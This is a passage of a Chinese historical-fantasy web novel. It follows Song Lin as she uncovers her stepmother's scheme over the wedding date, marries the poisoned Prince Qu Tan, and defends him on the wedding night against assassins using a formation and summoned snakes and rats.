如今还要被瞿昙未来的媳妇取笑,他这以身犯险到底为了谁呀?
桑无疾心里委屈,却也知道这样隐秘之事是断不能在大街上说出来的。
他拿扇子戳了戳鼻头,眼神看向路的一边,“前边是放花灯的地方,宋姑娘可有兴趣?”
瞧着人少,宋檩没有拒绝,眼下她只想赶紧远离人多的地方。
一路上,林歌注意到桑无疾总在看自家姑娘,眼里有股不明的怒火,碍于他是小王爷身边的人,又不好发作。
“桑公子,我可是有婚约的人,你这般盯着我看做什么?”宋檩可没她那么多顾虑。
桑无疾:“……”得,关心一下竟成了无礼的登徒浪子。
他嘴角微微抽动,笑道:“非在下无礼,实在是心有一惑,不知该不该开口。”
宋檩莫名其妙地看他一眼,“桑公子都没将自己当外人,还有什么不该说的?”
这话听着怎么都不像是夸赞啊。
桑无疾拧眉,“桑某实在费解,宋姑娘即将出阁的女子,为何不在府里备嫁,却出现在今夜的灯会上?”
谁人不知参加灯会的都是些未有婚配的俊男靓女?
他不会告诉宋檩,不久前得到消息,说南泓先生接见了五皇子和宋檩,三人在竹林小院相谈甚欢。
虽然太子和承王也去了,但他并不关心。
12. 二人婚期定
宋檩眯眼瞧着眼前人,不得不打起十二分精神应付,他绝不单单只是个商人。
“想必桑公子已经知道,我今日去了三清门,只是回府路过天一街,并非专程来此。”
桑无疾收了扇子,俊眉微蹙,忙道:“宋姑娘误会在下了。”
难道不是怪她有婚约在身还来这种场合?宋檩抿唇不语。虽然心里不悦,但站在他的角度,也合情合理。
桑无疾总觉得哪里不对劲,试探出声,“原本计划王爷今日也会出来,但昨儿宫里去了人,他脱不开身。”
宫里派人去了秦王府?宋檩一脸疑惑,是否也有人到了相府?
这个时候派人到府上,定是告知婚期。
宋檩终于明白了问题所在,眸子微沉,“我还有事,先行告退,桑公子自便。”
桑无疾望着她离去的背影,摇了摇扇子,莫名笑了。
高门大院里的腌臜手段防不胜防,宋檩明显是被人摆了一道。只是圣旨赐婚都能毫无顾忌,丞相夫人未免胆子有点太大了。
林歌跟着她家姑娘,从天一路到相府,一路上愤愤不平。
“姑娘,咱们去找相爷吗?”夫人这次太过分了,竟真的把事情瞒了下来,万一搞砸了,那可是圣旨赐婚,她怎么敢?
她越想越气,自打侯夫人被相爷抬作平妻,她便装也懒得装了,直接跟敬方院撕破了脸。
真不明白跟她们撕破脸有什么好的!
宋檩提步往敬方院走,“不必,咱们就当不知道这件事。”
既然洛氏那么想看她出丑,何不顺了她的意?正好来个将计就计。
“去把阿庆叫来,我有事情吩咐。”
侯宛仪在相府经营多年,宫人来府这么大的事情能瞒住宋明书,说明她的府里的根基深不可测。
恐怕还有外人的配合。
侯振培身为逆鳞卫卫使,虽官阶不高,却是圣上跟前的大红人,就连太子和承王,也得敬三分。
此人素来无利不起早,若这次参与其中,绝非一个兄妹情分这么简单。
他们到底在计划什么?
林歌和阿庆进屋时,宋檩正在发愁,见到性格迥异的两个人,萌生出来一个大胆的想法。
“你就是阿庆?”
来之前林歌姐姐只说要来见大姑娘,除此外什么也没说,至于大姑娘找她做何,还真拿不准。
“奴婢阿庆,见过大姑娘。”她双膝跪地,磕头行礼。
经此一吓,宋檩直接从凳子上起身,给林歌递了个眼神,让她把这事解决好。
林歌授意上前,拉着阿庆两只胳膊一用力,轻松把人扶起来。
“我家姑娘不喜这些虚礼,往后不必动不动就下跪。”
阿庆看了看她,又看向宋檩,也不知该说些什么,闭口不言。
“可识字?”
“回大姑娘,念过私塾,跟父母打理过家中铺子。”
还是个打理过铺子的,她正需要这样的人。
宋檩大手一挥,“很好,我给你安排个任务,做好了有赏!”说完,她递了个眼色。
林歌从袖口掏出一张折叠的纸递过去。
阿庆打开一看,发现上边写着的全是铺子名单,遂看向二人,等待解惑。
“这些铺子的账册有问题,我给你三天时间,找出问题所在,可能完成?”宋檩打量她的反应。
“奴婢定不负姑娘厚望!”说罢又要下跪,林歌托住她的手,“姑娘给你安排了事就去做吧。”
林歌望着阿庆离去的背影,陷入深思。
阿庆是她寻来的,但大姑娘把这么大的家业交给她处理,心里仍有些不踏实,毕竟并非知根知底的人。
“姑娘,阿庆……”
宋檩打断她的话,“疑人不用用人不疑,我既要用她,自然有应对之法。”
看得出来阿庆是个知世故的人,好好做事自然不会亏待了她。
“我这里有些事情需要你去查实。”
林歌附耳过去,听了她的话有些吃惊,姑娘不可能无缘无故怀疑一件事,她一定要尽快查实!
“属下这就去查!”她双手抱拳,一脸严肃。
宋檩握住她的拳头,“此事年代久远,但我相信,凡事只要发生过,必定会留下痕迹,我要你查清楚,不惜一切代价!”
阿庆从敬方院出来,直直往相府外走。假山后的一个人影见状,忙朝相反的方向而去,进了侯夫人院落。
“小姐,事儿成了。”她跪在地上,眉开眼笑的,很高兴终于办成了这件事。
侯宛仪听完她的话很是高兴,亲自搀扶起身,欣慰地拍了拍她的手,“齐嬷嬷看着婉仪长大,这些年又一直跟在我身边,你办事我放心。”
齐嬷嬷不敢居功,笑道:“这些都是老奴应该做的,小姐愿意相信老奴,是老奴的福分。”
侯宛仪坐回原来的位子,“我记得嬷嬷的儿子快要议亲了,我陪嫁的庄子正好空着,嬷嬷拿去布置一番,也好有个婚房。”
齐嬷嬷受宠若惊,忙跪下道谢,“老奴替那不孝子谢过小姐。”
林歌不愧是华承璟训练出来的人,做事有自己的路子。次日才过半,带着查实的消息回到了敬方院。
“属下去了一趟侯氏老家,打听到侯家在当地是大家族,口碑很好,变故是从侯家长子进京求学开始的。”
“侯振培和相爷都是老国公的门生,只是国公爷并未举荐他为官,回老家后跟变了个人似的。”
“后来侯家遭逢变故,只有他和侯宛仪逃出去。再听到侯家人的消息,就是一个嫁了高门,一个当了大官。”
侯振培竟和宋明书一样,都是祖父的门生,这个他倒是没提起过。看来她得找人好好聊聊了。
“我记得,侯振培一路高升,是从国公府出事后开始的。”宋檩有一搭没一搭地敲击椅子扶手。
林歌不可思议地看着她,“还……真是!”
先前她没往这方面想,如今看来,国公府出事跟侯振培有很大的关系!
宋檩心里早就有猜测,现下不过是肯定了她的猜测。那么,侯宛仪嫁入相府一事,也就没那么单纯了。
“侯氏在相府是不是有别的目的?”
林歌拱手,“姑娘料事如神。国公府之事,相爷没有受牵连,有侯氏在当中斡旋。”
“相爷应该知道些事情,只是有顾虑。”
侯振培是圣上亲信,侯宛仪身为他的胞妹,一定意义上代表他的立场,如此一来,侯宛仪就是圣上的人。
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不参与党争而活跃在朝堂之人,既知她的身后是圣上,宋明书自然不会触霉头。
若是以前,她大可睁一只眼闭一只眼,不去跟侯宛仪发生正面冲突。可如今亲眼见她接过了蓉花玉简,岂有不管不顾的道理?
林歌见她陷入沉思,咬牙道:“属下还查到,陛下口谕,姑娘需尽快和秦王府小王爷完婚,婚期就在下月中秋。”
出嫁是姑娘家一生的大事,一句“尽快完婚”草草定下日子,天家如此行事真叫人心寒。
“八月十五?”宋檩愣住了,若她没记错,瞿昙上次毒发就是在月圆之夜,难怪桑无疾会说他无心外出。
上回她催动了体内毒素,怕是毒发更频繁,短时间内难以恢复,她可不想才嫁过去就摊上事。
宋檩越想越坐不住了,决定亲自去探探。
“林歌,准备马车,跟我出去一趟。”
林歌望着她一脸疑惑,“姑娘要去何处?”
“秦王府。”
二人匆匆赶到秦王府,却被王府管家告知人不在府上。
宋檩遗憾不凑巧,又忍不住好奇,这大热天不好好待在府里,拖着一副病体在外跑什么?
到底多大的事情,非得要他亲自去处理?
安管事打理秦王府事务多年,一直跟在老王爷身边,看着瞿昙长大。如今瞧这位未来的女主人,那是越看越喜欢。
他眼睛滴溜溜转动,突然道:“关于院子的要求,老奴已经差人备妥,宋姑娘可要去看看?”
见不到瞿昙,她本来打算见见黎樾或桑无疾,既然到了王府,先看看院子也无妨,毕竟是自己住的地方。
“有劳带路。”
安管事丢下手里的事情,乐呵呵带路。
“老奴姓安,是王府的管事,往后有什么需求,姑娘都可以直接告诉老奴,一定安排妥当。”他客客气气道,说话做事毫不马虎。
“安管事,你这是?”路过王府花园时,恰好撞见惊风,手上端着药碗。
宋檩眯眼,他不是跟瞿昙形影不离么?
安管事见状,立马到惊风身边,拉起他的胳膊到一边,低声道:“你别出声。”
惊风还没明白发生了什么,安管事甩开他,笑道:“宋姑娘来府里找王爷,既然王爷不在,老奴就领去看看新修缮的院子,总好过叫人白跑一趟。你忙你的去吧!”
“见着了王爷,记得叫他快些回来!”
话落,他麻溜带着宋檩和林歌离开。
惊风眨巴着眼,拔腿往如苑去,他得赶紧把宋姑娘来府的消息告知王爷。
在安管事的带领下,宋檩游览了一遍自己的院子,看得出来下了不少功夫。
“姑娘可还满意?”安管事谄媚道。
“您老费心了,我很满意。”
“都是老奴应该做的!”安管事摆摆手,笑得眼睛眯成了一条缝。
眼看就要到王府大门口了,宋檩但笑不语。
“宋姑娘请留步!”惊风突然冒出来,拦住了快要出府的几人。
安管事松了口气,他家王爷可算是要见宋姑娘了!
宋檩眼底毫无波澜,转身看向他。
惊风顶着被她凝视的压力,拱手行礼,“王爷有请。”
13. 他直接送钱
惊风领人到如苑,一路上没说半个字,他猜测宋姑娘早就知道王爷在府上。避而不见,怕是生气了。
进门后他递了个自求多福的眼神给瞿昙,拽着林歌退下了。
宋檩环顾屋内,看窗看桌看摆设,就是不看他。
瞿昙抿紧了嘴,拢了拢身上的大氅,将火盆推远了些。
他起身来到摆了冰盆的圆桌旁,“你怎么来了?”抬手示意她坐下。
脚步虚浮,面色煞白,嘴唇都紫了,披头散发一副颓丧样,明显是毒发了。宋檩气不打一处来,越看越心烦。
她一把夺过瞿昙手里的茶壶,阴森森道:“都这样了,为什么不告诉我?”
瞿昙动了动手指,握拳咳嗽起来。
“你要的那些我已经让人去备了,婚礼事宜月底就能妥当,你无需担心。”
她担心的是婚礼吗?
宋檩两手撑桌面站起来,俯身向前,居高临下盯着他,“我是担心你这副身子撑不到拜完堂。”
“何时发作的?”不待他出声,宋檩径直坐下,看也不看他。
瞿昙轻轻叹气,“有几日了。”
“为何不找我?”明知她有法子抑制却不找她,就这么喜欢被折磨的滋味?
还是说担心她牵连了秦王府,要跟她划清界限?
宋檩的眼神立马清醒,若真如此,她也不必上赶着讨嫌。
“我虽不知你用了什么法子,但万事万物相生相克,这点痛没什么,我还扛得住。”不用问都知道她肯定想多了,瞿昙无奈道。
嗯?宋檩疑惑抬头。
“你……在担心我?”
瞿昙但笑不语。
虽然不说,但宋檩很确定他在担心自己,心情立马好了。
大手一挥,拿过茶壶自己倒茶,“你不必担心我,大不了就吃好点睡饱点,很快就活蹦乱跳了!”
比他被折磨得不像人样好太多。
瞿昙却不如她说得那般乐观,他现在可以确定,解毒一事于她确有损伤。
“听闻承王送了根千年人参到相府,人参对你有用?”
宋檩无奈耸肩,“好东西谁不要?”
“他的意图太明显,不过呢,本姑娘这般聪明的人,岂会如他的愿?”
瞿昙哑然失笑,“看了院子,可还满意?”
“自然是满意的,费心了。”宋檩笑着道谢。
“都是安管事在操劳,我倒没做什么。”
宋檩不语,那也是他许可的,否则谁搭理她?
她突然一拍脑袋,想起此行的正事。
“差点忘了,婚期定在中秋那日,你行吗?”
“我问的是你的身体!”似是担心他听不懂,宋檩又加上了一句。
瞿昙嘴角微抽,他能说不行吗?
“咳咳,有劳宋姑娘了。”
宋檩瘪嘴,还懂得示弱,孺子可教。
“你当真不需要我帮你缓解一下?”她打量着跟当下完全不在一个季节的人,仍有些不放心。
明明是炎夏,她恨不得住在冰窖里,这屋子还得放火盆,什么乱七八糟的毒,一点也不正经。
瞿昙摇头,“扛不住的时候自会差人去相府。”
他既不需要,也没有硬塞的道理,宋檩努了努嘴,不再多劝。
“婚礼有些仓促,你身子这样,也别太操心了,只要给足相府颜面,我倒无所谓。”
“总之呢,相关事宜直接跟相府对接,我接下来的时间要好好研究一下你的毒。”
宋檩打了个哈欠,起身欲离开。
“惊风,替我送送宋姑娘。”他也不强留。
把人送到王府大门口,一路上眼观鼻鼻观心,态度十分恭敬。
见安管事把个盒子往马车上放,她疑惑道:“这是何意?”
安管事笑呵呵道:“老奴从库房拿了几根人参,放着也是放着,姑娘拿回去补补身子!”
宋檩:“……”
怪道在如苑的时候他会提起人参。
“替我多谢小王爷。”她笑得很无奈。
“一定一定,姑娘慢走!”安管事笑得牙齿外露,脸上堆满褶子。
目送马车离去,他摸了摸下巴,觉得有必要给老王爷去信,告诉他老人家,这个孙媳妇,包满意!
宋檩一回到敬方院就被告知洛姨娘来了,她正想问问洛姨娘的进展,便将人请了进来。
“妾身见过大姑娘。”洛姨娘托着婀娜的身姿,给她见了个礼。
“洛姨娘请坐。”宋檩微微颔首,招呼林歌看茶。
洛姨娘笑着,也不觉得尴尬,转身从丫鬟手里拿过几袋子吃食。
“这是妾身从祥福斋买回来的糕点和果脯,都是今早刚出的新货,大姑娘尝尝,若是吃得惯,差人给妾身说一声就是!”
“妾身知大姑娘什么都不缺,这是妾身的一点心意,可千万莫要推辞。”
这点吃食确也不值几个银子,若再推辞倒显得不近人情,何况某种程度上,她和洛姨娘还是盟友。
她给林歌使了个眼色,林歌领会,收了那些东西。
总算是收下了,也不枉她费尽心思钻研,洛姨娘笑道:“漓儿这丫头性子静,平日里吃了亏也不告诉妾,乞巧节那日的事情,妾身也是后来才得知,多谢大姑娘相助。”
宋檩啜了口茶,毫不在意道:“洛姨娘哪里的话,都是姐妹,能帮则帮。”
“大姑娘心善,自是不在乎这些,但这份恩情,妾身和漓儿都记着。”她眼神坚定,一副表忠心的姿态。
宋檩知她话里有话,但笑不语。
吃了一盏茶,仍不见走,宋檩笑着出声,“洛姨娘还有事?”
“妾身……确有件事需要麻烦大姑娘。”她咬了咬牙,难为情道。
见她不作声,继续道:“大姑娘应该知道,漓儿和三姑娘同岁,只小了月份,明年明年此时就及笄了。”
“大姑娘和三姑娘今岁出嫁,夫人已经着手三姑娘的婚事。妾身出身寒微,漓儿的婚事心有余却力不足,斗胆向大姑娘讨个面子。”
宋檩明白了,洛姨娘是希望她以后带宋漓出去走动,给她寻一处好人家。
侯氏这个当家主母可没那么慈善,想要给宋漓寻个好归宿,只能寄希望在她的身上。
林歌听后一脸不赞成地皱眉,“洛姨娘,我家姑娘还只是个待嫁之身,即便以后嫁去秦王府,总带个未出阁的妹子在身边算哪门子事?这满京都的达官显贵该怎么看我家姑娘?”
“妾身不是这个意思!”洛姨娘忙解释。
“漓儿这孩子有主见,妾身万不敢动旁的心思!”有些话她羞于启齿,在一个晚辈跟前实在说不出来。
“只是希望大姑娘看在姐妹情分上,给她多一些选择,漓儿是个好姑娘,妾身实在不想看到她被耽误。”说
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到动情处,她竟掉了几滴泪。
宋檩心里有了计较,抬手阻止了欲反驳的林歌。
“洛姨娘方才也说四妹妹是个有主意的,不妨回去问问她的意思。”
洛姨娘怔愣住,随即才想起自己的身份来,她不过是个姨娘,根本做不了相府姑娘的主,即便只是个庶女。
“多谢大姑娘提点。”道完谢,她悻悻离去。
“以姑娘在相府的地位,完全可以不去搭理一个姨娘。”林歌听多了后院的事情,人心不足蛇吞象,有些人一旦沾上就跟狗皮膏药似的,甩都甩不掉。
何况人心叵测,一旦得到好处,往后只会更加放肆。哪一次没如了意,就会到处说三道四,完全不记好。
她可不希望大姑娘因为这些无关紧要的人和事,毁了自己的名声。
宋檩笑着摇头,没有说话,这事跟洛姨娘没什么关系,也没指望她能帮自己什么,只是有些可惜宋漓。
“阿庆那边怎么样了?”明日就是最后的期限了,她有些好奇。
“属下正要给姑娘说此事,阿庆确实发现了些东西。”她将事情始末说了个大概,宋檩频频点头。
“姑娘,咱们要不要安排些人进有问题的铺子?”
林歌是个原则性极强的人,未经考验过的人一律算不得自己人,即便某种程度上算她引荐的。
宋檩赞同她的做法,“从古老给的铺子里挑几个人安插进去,做得隐秘些,后续就让阿庆打理那几个铺子。”
“属下这就去安排!”
次日一早阿庆就来了敬方院,三天时间不到,那几家铺子的账目已被她清算得干干净净。
听完汇报,宋檩不得不佩服。在这个阿拉伯数字都不存在的时代,能把一笔烂账清算得如此一目了然,她自愧不如。
“做得不错,以后你就跟在我身边,这几个铺子交由你来打理,可能胜任?”这是一次试探,也是一场考验。
但于阿庆来说,却是一次翻身的机会,她笑着跪地,“多谢大姑娘!”
阿庆离开不到一刻钟,展颜领了秦王府的安管事过来,身后跟着一溜全是秦王府的人。
“安管事!”宋檩正在桂树下看书,是华承送来的阵法孤本。
见到来人,立马合上书本,起身时丢在躺椅上。
“老奴给姑娘请安。”
“安管事不必多礼,快请坐!”且不说他是秦王府的人,一个老者给她行礼,宋檩过不了心里的坎。
她一边招呼安管事坐下,一边差人沏茶。
“有什么事吩咐底下人就是,这大热天的,安管事怎么还亲自跑一趟呢?”宋檩笑问着,给足了脸面。
安管事喝了口凉茶,摆手道:“姑娘的事可是大事,底下人笨手笨脚,老奴不放心。”
他招手把人唤上来,个个脚步稳健,臂上肌肉线条分明。宋檩挑眉,练家子?
安管事跟什么都没发生似的打开两个盒子,一边放着一沓银票和碎银,一边放着全套头饰。
宋檩头一回见到这么多前,惊得说不出话来。
“王爷吩咐老奴来给姑娘送东西,喜服已经裁剪好了布料,需要姑娘给一个尺寸。”
直接送钱,可真会送礼!
宋檩差林歌取了尺码给他,笑呵呵收下礼物,“既是王爷的心意,我就收下了,劳烦安管事替我谢谢王爷。”
“老奴一定把话带到。”
14. 提前发作了
八月十五,中秋团圆。
宋檩在这一日出嫁。
侯宛仪费尽心思隐瞒她的婚期,终因败露被宋明书禁足,她的婚礼事宜由宋明书亲自操持。
宋檩一概不沾手,整日里研究阵法,时间全泡在毒上了。
“姑娘,迎亲的队伍已经出发了,属下来为你梳妆。”林歌看向仍在熟睡的人,不忍打断她睡觉。
可今日是大喜的日子,再不梳洗,错过吉时就不好了。
宋檩坐起身,眼睛闭着,硬生生挤出两滴哈欠泪。
“有你在,我从不担心。”
林歌搀着她到梳妆台前坐下,端了盥洗盆过来,净完脸,坐在铜镜前发呆。
林歌从厨房拿了吃食回来,见她东倒西歪的瞌睡样,又心疼又好笑。
“姑娘先垫垫肚子,上了花轿再要吃东西就得晚上了。”
宋檩接到手里就吃,眼睛依旧闭着。
林歌但笑不语,专心梳头。
发丝和头饰在她手里交织成了完美的发髻,整妆完成,宋檩看着铜镜中的自己,给她竖起了大拇指。
“姑娘,吉时已到,咱们该出发了。”阿庆作为陪嫁丫鬟的一员,今日会跟她一道去秦王府。
林歌忙将喜扇塞进她手里,“姑娘千万拿好,可不能丢了!”
在众人的簇拥下,宋檩一路走出相府大门,上喜轿的空隙,她看了眼四周,发现从敬方院铺出来的红毯竟然一直延伸到相府之外。
喜轿伴着鼓乐声从相府往秦王府去,两府相距并不远,走的却是远路,绕了好大个圈子。
宋檩一上喜轿就睡了,被爆竹声惊醒。
“姑娘,秦王府到了。”林歌提醒的声音传入轿内。
外面传来哄闹声,细听下才发现,竟是一群人在起哄新郎,他怎么亲自来了?
思及他的身体,宋檩一脸愁容,可千万要撑住。
秦王府里没有热闹,但该到的人都到了,简简单单拜堂完毕,宋檩被带到后院安置。
此时才发现,这红毯是从敬方院铺到了王府的院子。
宋檩放下喜扇,起身伸了个懒腰。
“姑娘先歇着,属下去厨房拿些吃食过来。”林歌今日没有带利器在身上,一袭水红外衫,看着喜庆。
目下屋里没有外人,她开始翻找一旁的箱子,全是她从相府带来的嫁妆。
林歌端着吃食进来时没看到人,循声望去,见她在一堆箱子里翻找,嘴角轻抽。
忙放下手中托盘走了过去,“姑娘在找什么?”
宋檩扭头看了一眼,提了提裙摆,又在另一个箱子前停住,招手让她过来帮忙,“我记得有个暗红色的小箱子,里边放了几本书。”
林歌眼神搜寻了一遍,在一堆箱子的最高处见到了,拿来递给她,“可是这个?”
宋檩迫不及待打开一看,果然在这里,“就是这个!”
她一边铺开那些书,一边吩咐道:“一会儿我写个清单,你去把东西备齐。”
林歌拿着清单一头雾水,宋檩拍拍手坐在桌子边开始吃饭,“先填饱肚子再去,晚上有得忙活。”
“姑娘的意思是,晚上不太平?”她的手下意识伸向腰间,却摸了个空,才想起今日没有佩刀。
宋檩注意到她的动作,眼神安慰道:“别太担心,秦王府的安防能力还是不错的。”
话是这么说,有刀在手才有底气,林歌暗想,一会儿就把刀佩上。
林歌简单扒了几口饭就走了,不到半个时辰就回来,身后跟着几个丫鬟,手里抬着的正是她需要的。
宋檩指挥众人摆放东西,抬头看向火辣辣的太阳,心里总有些隐忧。还不清楚今晚什么情况,多做点防患总没错。
“林歌。”
“姑娘有何吩咐?”刚把一口大缸里注满水的林歌跑过来。
她附在耳边低语几句,林歌脸色有些微妙,“属下……这就去准备。”虽然不清楚要做什么,但姑娘此番一定有她的道理。
林歌回来的时候天色已晚,院子里燃起了灯笼,静悄悄的,除去高挂的红绸,毫无喜气。
“姑娘。”
“回来了。”宋檩推开窗冒出个脑袋来。
她让人放下笼子麻袋,又把人打发走。“这院子里的其他人呢?”
“都打发走了,留在这里碍事。”
林歌颔首,今日她找了五殿下的人帮忙,姑娘没有问,应是知道的,她也不多说。
遂走到窗前,拱手请示,“姑娘,接下来怎么做?”
宋檩见她身上沾了不少泥,摆了摆手,“你去梳洗换个衣裳,再去一趟外边,告诉惊风,若王爷发病,立刻带人到这。”
“属下这就去!”
林歌走后,她才走出房门,朝院子里放着的几个笼子走去。
夜色下,笼子里传来类似老鼠的唧唧叫声,麻袋在地上蠕动,有些诡异。
不知使了什么法子,麻袋竟然直勾勾立了起来,笼子里的东西也安分了。宋檩解开绳子,打开笼盖,任由里边的东西出来,爬向院子四处。
一切就位,她拍了拍手,总算放心了,“搞定!”
林歌正从外边回来,见她仍在院子里,忙道:“姑娘,快些回屋,王爷该过来了。”
两人还没进屋,院门口传来动静。
“王妃,不好了,王爷的毒发作了!”安管事跌在地上,心急如焚,声音有些打颤。
宋檩忙上前扶起他,“怎么回事?不是没到时辰吗?”
黎樾在他身边,怎会突然毒发?
“有……有刺客闯入王府……”安管事喘着粗气,有些口齿不清。
看来那些刺客比较棘手,否则不会逼得他出手提前引毒发作。
当务之急,只能把人带来这里,亏她有先见之明,早早做了准备。
“我知道了。安管事,你去小厨房烧水,越多越好。林歌,跟我去如苑!”
脑袋上的东西太碍事,宋檩一路走一路拔,到如苑的时候头上已经没了发饰,一头秀发胡乱搭在肩头。
她掏出手绢随意把长发绑在一起。
刚踏进如苑大门,就被眼前的一幕惊住了。
院子里横七竖八躺着些黑衣刺客,死状
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惨烈。王府的侍卫持刀虎视眈眈,却没一个人敢上前。
被围住的正是瞿昙,他双目充血,一手锁着黎樾的脖子,硬生生将人提了起来。
他只是个手无缚鸡之力的大夫,再这样下去性命堪忧。
“王妃!”惊风见她来就跟见了神仙似的,立马跑到她身边。“王爷现在谁都不认得,冒然靠近恐有性命之忧。”
“请王妃救王爷!”他双手抱拳,跪地求道。
“请王妃救王爷!”王府众侍卫亦跪地。
宋檩只觉得头大,呵斥道:“都什么时候了还搞这些?再耽搁下去就真没救了!”
“一会儿我拖住他,让黎樾刺他百会穴。”
话落,也不顾惊风到底听明白了没,宋檩已经消失在原地,以一种诡异的步法来到瞿昙身后,那里正是他的视觉盲区。
众人还没看清发生了什么,黎樾栽在地上,掐着脖子大口喘气。
惊风大喊,“黎神医,刺王爷的百会穴!”
黎樾听后掏出银针就往他百会穴扎去,“咚”的一声,瞿昙倒在地上,不省人事。
王府侍卫欲上前查探,才走出半步又齐齐缩回了脚。
“都愣着做什么?过来搭把手,把人抬到我院子里去。”这个法子只能让他消停一盏茶时间,可经不得耽搁。
惊风招呼侍卫上前帮忙,把人往外抬。
宋檩走到黎樾身边,“没事吧?”
“无碍。”他挣扎起身,也要跟过去。
宋檩叫林歌过来搀着他,扫了眼地上躺着的尸体,一脸凝重,这些人怕只是个前菜。
待到了院子,让人把瞿昙抬进水缸放妥,宋檩拿了一袋子花椒塞进黎樾手里。
“水里差不多都泡开了就继续撒。”留下一句话,她又看向惊风。
“你带人在院外守着,拦住闯入者,能拦下多少是多少。记住一句话,一旦出去,无召唤不得踏入院子半步!”
“属下谨遵王妃命令!”虽不知王妃为何这般做,但非常时期行非常事,他只能听王妃的话。
“我做什么?”一路上无话的桑无疾弱弱出声。
宋檩眉眼微抬,他要不出声,自己差点忘了这个人。
眼下人手够了,既然他想做事,那就去厨房吧,“跟我走。”
桑无疾笑呵呵跟着走,发现让自己干的竟是抬水的活,想他堂堂桑公子,何时被人当苦力使过?
“你若不愿,出门左拐,想留下就听话做事。”宋檩完全不给他说话的机会。
于是乎,黎樾就看到他东倒西歪提着半桶水出来的画面,笑得前仰后合,手里的花椒袋差点扔出去。
忙到半夜,瞿昙的症状终于控制了,人已经清醒。
宋檩见他已有好转,绷着的神经才算松懈,一屁股坐到地上。还没说出半个字,外头传来打斗声。
她腾地站起身,林歌立马来到跟前,将人护在身后。
“你别动!”宋檩一把按住缸里欲起身的瞿昙。她忙累这么久才控制下来,现在起身动武岂不是功亏一篑?
宋檩断不允许这样的事情发生。
15. 血溅红嫁衣
瞿昙仍待在水缸里,桑无疾拎了个水瓢,黎樾还在撒花椒,只有林歌提刀挡在她身前。
“从现在起,所有人不得乱动!”宋檩大声道。
众人还没反应过来,只见她消失在原地,时而出现时而不见,最后来到院门口,背朝外站定,嘴里念念有词。
外头的打斗声越发激烈,有人想进来都被射杀,倒在门口。
宋檩仍站在那,完全不受影响。
刺客越来越多,更有人直接飞进院内,虽有阵法拦打,却也不是个长久之计。
还真下了血本,这是打算团灭了他们。宋檩义愤填膺,若再不出手,都得撂在这。
她随手摘下一片树叶,就着吹起一首怪曲,没有调儿,又毫无节奏。
霎时间,院子四周到处都是乱窜的鼠和扭动的蛇,不知受了什么刺激,不要命似的扑向闯入院中的刺客。
桑无疾一个公子哥儿哪见过这样的世面,当即就丢了水瓢要往屋里跑。
“不想死就别动!”宋檩立马喝斥。
这个时候乖乖待着就好,一旦扰乱她的阵法,只会成为毒蛇的攻击对象。
眼见一群绿眼毒蛇就要扑过来,桑无疾认命般闭上眼睛,死就死吧,至少不能被吓死,那样太难看。
想象中的疼痛没有来,他悄悄睁开一条缝,与一条绿眼大蛇正面对视,吓得瞳孔放大,腿软无力差点栽倒。
宋檩来到他身后,拿手肘狠狠抵住他的背,“桑公子可要站稳了。”
桑无疾大气不敢出,看向距他不到一个拳头远的大蛇,仍心有余悸。
可那条蛇却别过了头,错开他倏地冲上前,张口咬住一名刺客的脖颈,瞬间没了生气。
风刮得脸生疼,可见速度之快。
桑无疾木讷地抬手,想拧一下大腿,确定自己还活着,掌心却传来一片冰凉。抬手一看,是血。
有洁癖的他想拿水冲一下手,发现水桶已经见了底。
他茫然抬头,轻飘飘的声音响起,“没水了。”
“水来了!”安管事的声音突然传来。
许是一直没有人过去拿水,担心他们忙不过来,安管事趁着烧水的空档亲自拎水过来。
宋檩吓得赶紧往回跑,“别过……来。”她的话还没说完,安管事已经被眼前的场景吓得晕倒过去。
很好,又少了个干活的人。
水缸里的水不能冷,须时刻保持热度。眼下只能亲自出动了,宋檩叹气。
“姑娘,让属下去吧。”见到那些毒蛇老鼠的时候,林歌已经明白姑娘的意思,原来让她抓这些家伙是这么用的。
还有那些东西的摆放,虽不明白,却猜测到是某种阵法,姑娘于阵法一道天赋颇高。
这些刺客暂时无法靠近,她去抬水,总好过让姑娘去。
似乎也觉得她的建议不错,宋檩点头,走到她身边,一脸严肃道:“记住,跟着我走,千万不能踏错!”
林歌认真应下。
二人就这样一趟又一趟地抬水,血液把她们从头到脚染了个透,分不清是刺客的还是蛇鼠的。
打斗声渐渐小了,没了。更声响起,已经是丑时。
“王妃,刺客已全部消灭!”惊风的声音传来。
宋檩看向高昂着脑袋的蛇,竟然只剩这么几条了。她将食指和拇指放在唇边,吹起一声尖哨。
剩下的几条蛇纷纷扭头围在她身边,林歌挡在她身前,大有跟这些家伙决一死战的准备。
宋檩拍拍她的肩膀,拿过她手里的刀,伸直胳膊,笑着看向那些蛇,继续吹响口哨。
只见那些蛇张开大口扑向地上的老鼠,消灭殆尽后使出浑身力气撞向她手里的刀,再落地时身首异处。
一条接着一条,跟商量好了似的,从容赴死。
血液溅在刀上,胳膊上,脸上……分不清是嫁衣的红,还是蛇鼠的血。
惊风在院门口看到了难忘的一幕。
“王……王妃……”惊风愣在门口,进也不是退也不是。
他担心一旦踏进院门,也会跟那些蛇一般撞向王妃手里的刀。这一刻的王妃,跟夺命女王似的,又狠又酷,还有点害怕。
宋檩扭头看着他,“哐当”一声,手里的刀掉落在地。
她身子趔趄,倒在林歌身上。
“姑娘!”林歌急得大声喊叫。
主事的人晕倒了,院子里的人都不敢吱声,齐齐看向还在水缸泡着的瞿昙。庆幸此时的他已经完全清醒。
瞿昙从水缸出来,望着一片狼藉的院落,空气中充斥着难闻的血腥味。
“把人带去如苑。”
林歌听后二话不说,抱起自家姑娘就往如苑方向去。这个院子不能待了,先找个落脚的地方。
宋檩这一倒下就是整整三日,醒来已是第四天上午。
望着陌生的帐顶,她一时还没适应。
“你不是神医吗?这都三天了,怎么毫无醒来的迹象?”桑无疾抱怨的声音传入帐内。
“我是大夫又不是神仙,能用的药都用了。”黎樾被他缠得不耐烦,每天问几遍,耳朵都要起茧子了。
“那怎么办?一直这样也不行啊!”
“怎么办?等!”黎樾不打算搭理他。
王妃救了王爷,是秦王府的功臣,他比任何人都想要王妃赶紧醒来。更何况解毒的法子实在巧妙,他尝试过多次,根本做不到王妃那样的效果。
他还等着王妃醒来跟她讨教呐!
“吵死了,就不能让我好好睡一觉啊!”
一只脚已经跨出房门的黎樾听到声音,毫不犹豫转身往里走。
“王妃!你醒了!”他一把掀开蚊帐,发现床上的人不知何时已经睁眼,正望着帐顶发呆。
桑无疾想说话,脑子里又浮起她斩蛇的画面,咽了咽唾沫,转身往外跑,“我去告诉王爷!”
宋檩扫了他一眼,也懒得搭理。
黎樾二话不说就替她诊脉。
